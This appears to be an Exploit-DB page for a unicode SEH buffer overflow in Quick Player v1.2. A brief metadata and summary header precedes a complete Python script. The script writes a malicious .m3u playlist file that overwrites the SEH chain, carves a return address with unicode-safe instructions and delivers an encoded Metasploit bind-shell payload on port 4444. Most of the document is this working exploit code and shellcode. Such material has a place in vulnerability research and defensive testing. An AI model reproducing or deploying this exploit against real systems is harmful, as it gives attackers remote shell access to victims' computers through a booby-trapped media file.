Quick Player v1.2 Unicode Buffer Overflow

vendor:
Quick Player
by:
mr_me, sinn3r
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Quick Player
Affected Version From: Quick Player v1.2
Affected Version To: Quick Player v1.2
Patch Exists: NO
Related CWE: Not provided
CPE: Not provided
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP3 ENG
Not provided
Quick Player v1.2 Unicode Buffer Overflow

This exploit takes advantage of a buffer overflow vulnerability in Quick Player v1.2. It allows an attacker to execute arbitrary code on a vulnerable system. The exploit uses a bind shell payload to establish a TCP shell on port 4444. The metasploit framework is used to generate the payload. The exploit has been tested on Windows XP SP3 ENG.
Mitigation:

Apply the latest security patches and updates for Quick Player. Avoid running the software on untrusted networks.
Source
Exploit-DB raw data:

#!/usr/bin/python

## Quick Player v1.2 Unicode Buffer Overflow
## Found by  :  mr_me  (great job by mr_me!)  http://www.exploit-db.com/exploits/10797
## Coded by  :  sinn3r  (x90.sinner{at}gmail{d0t]c0m)
## thanks    :  corelanc0d3r's unicode article - awesome job!
## Tested on :  Windows XP SP3 ENG
## Oops! Here goes one of my n00b moments...

# windows/shell_bind_tcp lport=4444 http://metasploit.com
# Plenty of space...
bindshell = ("\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51\x41\x54"
"\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44\x41\x5a\x41\x42"
"\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51\x41"
"\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49"
"\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38"
"\x41\x41\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51"
"\x49\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51\x49"
"\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33"
"\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x45\x39\x49\x51\x49\x4a"
"\x49\x49\x48\x59\x44\x31\x4a\x54\x51\x4d\x42\x35\x42\x39\x50"
"\x49\x50\x49\x51\x39\x51\x39\x50\x49\x51\x39\x50\x49\x51\x39"
"\x51\x39\x51\x39\x51\x33\x50\x43\x50\x43\x50\x43\x50\x43\x50"
"\x43\x50\x37\x42\x31\x50\x5a\x42\x4a\x51\x31\x50\x58\x50\x50"
"\x50\x30\x51\x31\x50\x30\x51\x31\x42\x4b\x51\x31\x51\x31\x42"
"\x31\x50\x32\x51\x31\x51\x32\x50\x32\x51\x32\x51\x32\x50\x30"
"\x50\x42\x51\x32\x51\x31\x51\x32\x50\x58\x42\x30\x50\x38\x51"
"\x31\x51\x32\x42\x55\x50\x4a\x51\x39\x50\x49\x42\x4c\x50\x4d"
"\x50\x38\x50\x4f\x44\x39\x50\x43\x50\x30\x50\x47\x42\x50\x50"
"\x45\x50\x50\x51\x35\x50\x30\x50\x4b\x50\x39\x50\x4a\x50\x45"
"\x50\x45\x43\x31\x50\x4e\x50\x32\x50\x43\x42\x34\x50\x4c\x50"
"\x4b\x50\x50\x51\x42\x50\x46\x50\x50\x50\x4e\x42\x4b\x42\x31"
"\x50\x42\x50\x44\x50\x4c\x50\x4c\x50\x4b\x51\x36\x50\x32\x51"
"\x37\x43\x34\x50\x4e\x42\x4b\x50\x51\x43\x32\x50\x47\x42\x38"
"\x50\x44\x50\x4f\x50\x4c\x42\x57\x51\x32\x51\x5a\x51\x35\x43"
"\x46\x51\x36\x50\x51\x50\x49\x42\x4f\x50\x46\x42\x31\x50\x4b"
"\x42\x50\x50\x4c\x42\x4c\x50\x45\x42\x4c\x50\x50\x43\x31\x50"
"\x51\x42\x4c\x51\x35\x42\x32\x50\x46\x50\x4c\x51\x35\x42\x50"
"\x50\x4a\x43\x31\x50\x4a\x42\x4f\x51\x34\x50\x4d\x51\x37\x42"
"\x51\x50\x4b\x42\x57\x51\x39\x44\x32\x50\x4c\x50\x30\x50\x46"
"\x50\x32\x50\x43\x43\x37\x50\x4e\x42\x4b\x50\x43\x42\x42\x51"
"\x34\x50\x50\x50\x4c\x50\x4b\x50\x50\x50\x42\x50\x47\x50\x4c"
"\x50\x46\x51\x51\x50\x4e\x50\x30\x50\x4e\x42\x4b\x50\x47\x50"
"\x30\x50\x42\x51\x48\x50\x4f\x42\x55\x50\x4b\x42\x50\x51\x34"
"\x50\x34\x50\x43\x43\x4a\x51\x37\x44\x31\x50\x48\x50\x50\x51"
"\x32\x44\x30\x50\x4c\x50\x4b\x50\x42\x42\x48\x50\x42\x50\x38"
"\x50\x4c\x50\x4b\x42\x31\x51\x38\x51\x37\x42\x30\x51\x37\x42"
"\x51\x50\x4e\x50\x33\x50\x4d\x50\x33\x50\x45\x42\x4c\x51\x32"
"\x43\x39\x50\x4e\x42\x4b\x51\x35\x43\x34\x50\x4c\x50\x4b\x51"
"\x37\x42\x51\x50\x49\x51\x36\x42\x30\x50\x31\x51\x39\x42\x4f"
"\x50\x44\x42\x51\x50\x4f\x50\x30\x50\x4c\x42\x4c\x50\x4b\x42"
"\x51\x50\x4a\x42\x4f\x51\x36\x42\x4d\x50\x43\x50\x31\x50\x4a"
"\x42\x47\x51\x35\x43\x38\x50\x4b\x42\x30\x50\x51\x42\x45\x50"
"\x48\x43\x44\x51\x33\x50\x33\x50\x43\x50\x4d\x50\x4a\x42\x38"
"\x51\x35\x42\x4b\x50\x43\x50\x4d\x50\x45\x44\x34\x50\x43\x51"
"\x35\x50\x48\x51\x52\x51\x32\x42\x58\x50\x4c\x50\x4b\x50\x42"
"\x44\x38\x50\x47\x51\x44\x51\x37\x44\x31\x50\x4b\x43\x33\x50"
"\x50\x43\x36\x50\x4e\x42\x4b\x50\x44\x50\x4c\x50\x42\x42\x4b"
"\x50\x4c\x50\x4b\x51\x33\x42\x48\x51\x35\x50\x4c\x50\x45\x42"
"\x31\x51\x38\x50\x53\x50\x4e\x42\x4b\x51\x36\x51\x54\x50\x4e"
"\x42\x4b\x51\x37\x44\x31\x51\x38\x42\x30\x50\x4d\x42\x39\x50"
"\x51\x42\x34\x50\x45\x42\x54\x51\x34\x42\x44\x51\x33\x42\x4b"
"\x50\x43\x42\x4b\x51\x35\x50\x31\x51\x32\x44\x39\x51\x33\x51"
"\x5a\x50\x50\x50\x51\x50\x4b\x50\x4f\x50\x4b\x50\x50\x50\x42"
"\x43\x48\x51\x33\x42\x4f\x42\x31\x50\x4a\x50\x4e\x42\x4b\x50"
"\x46\x42\x52\x50\x4a\x50\x4b\x50\x4f\x42\x56\x50\x51\x50\x4d"
"\x51\x35\x50\x38\x50\x50\x50\x33\x51\x36\x51\x42\x50\x43\x50"
"\x30\x50\x47\x42\x50\x51\x35\x50\x38\x51\x34\x50\x37\x42\x30"
"\x43\x43\x50\x44\x42\x52\x51\x33\x42\x4f\x50\x42\x43\x44\x50"
"\x51\x42\x58\x42\x30\x50\x4c\x50\x42\x42\x37\x51\x35\x44\x36"
"\x50\x47\x42\x57\x50\x4b\x50\x4f\x50\x4e\x50\x35\x50\x4f\x50"
"\x48\x50\x4c\x50\x50\x50\x45\x50\x51\x50\x47\x44\x30\x50\x45"
"\x42\x30\x50\x46\x51\x39\x50\x4f\x50\x34\x50\x46\x50\x34\x51"
"\x32\x44\x30\x51\x35\x50\x38\x42\x31\x50\x39\x50\x4b\x50\x30"
"\x42\x30\x42\x4b\x51\x33\x50\x30\x50\x4b\x50\x4f\x50\x49\x51"
"\x35\x50\x50\x42\x30\x50\x46\x50\x30\x42\x30\x42\x30\x51\x36"
"\x50\x30\x50\x51\x42\x30\x51\x36\x50\x30\x42\x31\x42\x30\x50"
"\x42\x42\x50\x51\x35\x50\x38\x51\x38\x42\x4a\x50\x46\x42\x4f"
"\x50\x49\x50\x4f\x51\x39\x42\x50\x50\x4b\x50\x4f\x50\x48\x42"
"\x35\x50\x4d\x42\x39\x50\x4b\x44\x37\x51\x36\x42\x31\x50\x4b"
"\x42\x4b\x51\x32\x42\x53\x50\x50\x51\x58\x50\x45\x51\x42\x51"
"\x35\x42\x30\x51\x36\x42\x51\x50\x43\x42\x4c\x50\x4f\x42\x59"
"\x50\x4a\x51\x36\x50\x50\x51\x5a\x51\x36\x42\x50\x51\x36\x50"
"\x36\x51\x32\x43\x47\x50\x51\x42\x58\x51\x39\x50\x52\x51\x39"
"\x50\x4b\x51\x37\x51\x37\x50\x50\x42\x47\x51\x39\x42\x4f\x50"
"\x4e\x50\x35\x50\x46\x50\x33\x50\x42\x44\x37\x42\x31\x42\x58"
"\x50\x4e\x42\x37\x50\x48\x51\x59\x51\x36\x51\x48\x50\x4b\x50"
"\x4f\x50\x4b\x50\x4f\x50\x48\x50\x55\x50\x43\x51\x53\x51\x33"
"\x42\x43\x51\x33\x51\x57\x50\x50\x42\x48\x42\x30\x42\x54\x51"
"\x38\x42\x4c\x51\x35\x42\x4b\x50\x4d\x50\x31\x50\x49\x42\x4f"
"\x50\x4b\x42\x45\x51\x33\x43\x37\x50\x4f\x43\x49\x50\x49\x51"
"\x47\x50\x42\x50\x48\x42\x31\x51\x55\x51\x32\x50\x4e\x51\x32"
"\x42\x4d\x51\x33\x42\x31\x50\x4b\x50\x4f\x50\x48\x51\x45\x50"
"\x42\x51\x38\x50\x43\x42\x33\x51\x32\x50\x4d\x42\x30\x43\x34"
"\x51\x37\x42\x50\x50\x4d\x51\x49\x51\x38\x51\x53\x50\x51\x50"
"\x47\x42\x31\x51\x37\x51\x36\x50\x37\x50\x44\x44\x31\x50\x4c"
"\x50\x36\x50\x51\x42\x5a\x50\x42\x50\x32\x42\x31\x51\x39\x50"
"\x46\x50\x36\x50\x4d\x50\x32\x51\x39\x42\x4d\x42\x30\x51\x56"
"\x50\x4a\x42\x47\x50\x47\x50\x34\x50\x45\x44\x34\x51\x35\x42"
"\x4c\x50\x46\x43\x31\x50\x46\x51\x51\x50\x4e\x42\x4d\x50\x50"
"\x51\x34\x42\x31\x50\x34\x50\x42\x50\x30\x50\x48\x50\x46\x50"
"\x47\x42\x50\x50\x47\x50\x34\x50\x51\x51\x34\x50\x50\x50\x50"
"\x50\x50\x51\x46\x50\x43\x43\x36\x51\x36\x50\x36\x42\x30\x50"
"\x46\x51\x33\x51\x56\x42\x30\x50\x4e\x50\x46\x50\x36\x51\x33"
"\x51\x56\x50\x42\x44\x33\x50\x50\x50\x56\x51\x32\x50\x48\x50"
"\x51\x51\x59\x50\x4a\x42\x4c\x50\x47\x50\x4f\x50\x4c\x50\x46"
"\x50\x4b\x50\x4f\x51\x38\x51\x45\x50\x4e\x42\x49\x50\x4d\x50"
"\x30\x42\x30\x50\x4e\x50\x50\x50\x56\x50\x43\x43\x46\x50\x4b"
"\x50\x4f\x50\x50\x50\x30\x50\x45\x50\x38\x50\x46\x51\x58\x50"
"\x4e\x51\x57\x51\x35\x50\x4d\x51\x35\x50\x30\x50\x4b\x50\x4f"
"\x50\x4b\x43\x35\x50\x4d\x42\x4b\x50\x4a\x42\x30\x50\x4f\x50"
"\x45\x50\x4c\x43\x32\x42\x31\x50\x46\x50\x42\x50\x48\x50\x4d"
"\x43\x46\x50\x4d\x50\x45\x50\x4f\x50\x4d\x50\x4f\x42\x4d\x50"
"\x4b\x50\x4f\x51\x38\x50\x55\x50\x47\x50\x4c\x51\x33\x50\x36"
"\x50\x51\x42\x4c\x51\x36\x51\x5a\x50\x4d\x50\x50\x50\x4b\x50"
"\x4b\x50\x4d\x50\x30\x50\x44\x50\x35\x50\x46\x43\x35\x50\x4f"
"\x50\x4b\x50\x42\x42\x47\x50\x46\x43\x43\x42\x30\x43\x42\x50"
"\x42\x50\x4f\x50\x43\x50\x5a\x51\x37\x44\x30\x50\x42\x42\x53"
"\x50\x49\x42\x4f\x50\x4b\x51\x55\x50\x45\x51\x4a\x51\x31\x51"
"\x31\x41\x41")

buffer = (
"\x41"*536 +	# junk
####################################################################
# SEH Chain:
"\x41\x6D"	# Pointer to Next SEH record (unicode = 0x6D004100)
"\x41\x4D"	# SE Handler (unicode format = 0x004A0059)
####################################################################
# START CARVING THE RET ADDRESS:
# 0x0012e270 (first item on the stack) + 0x11006100 - 0x11006000 = 0x0012E370 (RET)
"\x58"		# POP EAX
"\x6D"		# Separator
"\x05\x61\x11"	# ADD EAX, 0x11006100 (chars expanded due to unicode)
"\x6D"		# Separator
"\x2D\x60\x11"	# SUB EAX, 0x11006000 (chars expanded due to unicode)
"\x6D"		# Separator
"\x50"		# PUSH EAX
"\x6D"		# Separator
"\xC3"+		# RETN	; (0x0012E370)
#####################################################################
# bindshell lport 4444
"\x41"*111+	# Alignment
bindshell+	# bindshell lport 4444
"\x44"*3000)	# some mo' padding to please my eyes

f = open("quick_player_exploit.m3u", "w")
f.write(buffer)
f.close()

print "[*] quick_player_exploit.m3u created! ph33r!"